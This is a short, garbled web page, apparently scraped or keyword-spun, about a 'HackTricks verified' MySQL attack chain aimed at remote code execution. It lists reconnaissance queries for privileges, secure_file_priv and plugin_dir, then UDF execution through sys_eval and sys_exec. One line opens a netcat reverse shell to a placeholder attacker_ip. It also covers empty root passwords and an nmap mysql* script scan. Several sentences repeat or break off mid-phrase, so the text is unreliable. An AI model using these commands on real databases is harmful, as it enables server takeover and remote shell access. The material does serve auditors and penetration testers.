Mysql Hacktricks Verified -

SELECT version(); -- MySQL version (5.x vs 8.x matters) SELECT user(); -- Current user SELECT database(); -- Current DB SELECT grantee, privilege_type FROM information_schema.user_privileges; SHOW VARIABLES LIKE 'secure_file_priv'; -- Critical for file read/write SHOW VARIABLES LIKE 'plugin_dir'; -- UDF location

SELECT sys_eval('id'); SELECT sys_exec('nc -e /bin/sh attacker_ip 4444 &'); mysql hacktricks verified

This feature breaks down the "Verified" MySQL attack chain, explaining how attackers (and auditors) verify configurations to achieve Remote Code Execution (RCE) and system compromise. SELECT version(); -- MySQL version (5

If error-based or union-based injection fails, try Time-based + DNS. But for direct DB access, use the sys_exec UDF to run nslookup or curl . If credentials are not known, verify for common

If credentials are not known, verify for common weak configurations: Empty Passwords: Connect using mysql -u root (many default installs lack a root password). Hash Extraction:

nmap -sV -sC -p 3306 <target-ip> --script mysql*